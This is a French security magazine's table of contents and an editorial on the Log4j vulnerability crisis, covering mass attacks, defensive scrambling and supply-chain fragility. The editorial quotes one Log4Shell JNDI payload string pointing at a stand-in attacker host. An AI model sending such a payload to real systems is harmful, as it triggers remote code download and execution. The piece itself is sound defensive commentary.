Pentest Corner

p. 06 Compromission d’un environnement Azure

IoT Corner

p. 16 L'attaque des cartes HITAG 2 en pratique

Forensic Corner

p. 26 European Cyber Cup : retour sur une victoire au challenge Machine Learning du FIC

Dossier : Outils et méthodes pour l'analyse et la réponse à incident

p. 34 Introduction
p. 35 Comment construire un processus de renseignement sur les menaces dans votre organisation ?
p. 44 Une introduction à la plateforme libre de renseignements MISP
p. 58 Améliorez vos analyses forensiques avec hashlookup

Code

p. 64 Voyage en C++ie : un code d’exception

Réseau

p. 68 Les attaques DDOS n’ont qu’à bien se tenir avec DOTS !

Système

p. 78 SMERSH ou la gestion des pentests simplifiée

Nous nous souviendrons tous un moment de ce vendredi après-midi quand les premières annonces sur log4j sont arrivées et que nous avons tous vu dans nos logs se multiplier les “${jndi:ldap://mechanthacker.com/a}” en l’espace de quelques minutes. Pour beaucoup d’entre nous, le week-end a été long, une course contre la montre pour éviter de se retrouver avec un système d’information ressemblant à un champ de ruines le lundi matin, ou tout aussi probablement une ferme de minage de cryptomonnaies. Une caractéristique particulière de cette faille a certainement été le niveau de massification des attaques en l’espace de quelques heures. Tout serveur accessible sur les ports 80 et 443, même non référencé par les moteurs de recherche s’est retrouvé attaqué depuis des adresses IP multiples dès vendredi après-midi. Il est probable que certains groupes de pirates disposent d’ores et déjà d’une grande quantité de serveurs compromis qu’ils pourront monétiser dans un second temps, par exemple avec des campagnes de ransomware.

Du côté défensif, il a fallu en urgence essayer d’identifier tous les serveurs s’appuyant sur la bibliothèque incriminée ce qui est loin d’être simple… Car s’il est relativement simple de lister sur un parc tous les serveurs sur lesquels un logiciel a été déployé, il en est tout autrement lorsqu’il s’agit d’une bibliothèque Java pouvant être intégrée dans un logiciel tiers, qu’il soit propriétaire, libre, ou pire encore, dans une appliance. Comble du problème, il y a eu beaucoup de flou et de confusion quant aux versions affectées par la faille. Le lundi suivant la découverte, la question de savoir si seule la version 2 de Log4j V2 était vulnérable ou si la V1 l’était aussi, faisait encore l’objet de débats dans la communauté. Néanmoins, lorsque la liste des applications potentiellement vulnérables a pu être établie, il a fallu déployer en urgence des solutions piochées au hasard des bulletins de sécurité sans le recul nécessaire pour savoir ce qui risquait d’être cassé. Ce n’est pas toujours simple de passer des patchs sur la production, quand c’est dans la nuit de vendredi à samedi, personne n’est serein et la main tremble un peu avant d’appuyer sur [Entrée]. Et si dans le cas d’une architecture on premise avec une défense périmétrique old school, le déploiement d’une règle refusant les connexions sortantes a pu être appliqué de manière conservatoire en attendant d’investiguer davantage, je plains les structures s’étant lancées corps et âmes dans le Zero Trust avec des services éparpillés sur différents Cloud Provider lorsqu’il a fallu bloquer les accès sortants de centaines voire milliers de VM…

Une caractéristique remarquable de cette faille est que tous les mécanismes de protection empilés côté compilateurs (Canaries), système d’exploitation (ASLR, NoX) qui nous avaient habitués à un certain niveau de sécurité même avec des logiciels écrits avec les pieds sont totalement inopérants. Dans le cas de Log4j, la faille semble dater de 2016 et l’introduction de la fonctionnalité JNDI Lookup. L’attaque s’appuie sur un usage détourné conduisant, au travers d’une simple requête HTTP, la bibliothèque à télécharger du code Java sérialisé arbitraire et à l’exécuter, c’est propre, précis, reproductible à tous les coups. Cela rappelle d’ailleurs beaucoup la grande époque des Remote File Inclusion (RFI) des applications PHP des années 2000 qui permettaient dans la configuration par défaut de spécifier une URL comme paramètre d’un include [1] et qui ont été largement exploités pour des défigurations en masse. Il est à parier que les vulnérabilités RFI et Insecure Deserialisation feront un retour remarqué dans le prochain TOP 10 de l’OWASP.

Enfin, une fois encore cette crise a mis en lumière la faiblesse d’infrastructures complexes intégrant des bibliothèques gérées par très peu de personnes. Dans le cas de log4j, seuls trois contributeurs semblaient actifs sur ce projet [2]. Or, à la lumière du nombre d’entreprises touchées, de Microsoft avec Minecraft en passant par Tesla et Apple, ces trois développeurs ont dû se sentir bien seuls au moment de la crise. Et si leur gestion du problème semble avoir été exemplaire, je doute qu’Apple ou Microsoft aient sciemment validé qu’une brique aussi critique ne puisse reposer que sur la bonne volonté et la mobilisation de trois bénévoles en cas de faille risquant de faire s’écrouler leurs services. Il y a encore beaucoup de travail dans la gestion des risques des supply chain tant les interdépendances de nos systèmes d’information sont tentaculaires.

Cédric Foll / cedric@miscmag.com / @follc

[1] https://www.offensive-security.com/metasploit-unleashed/file-inclusion-vulnerabilities/

[2] https://github.com/apache/logging-log4j2/graphs/contributors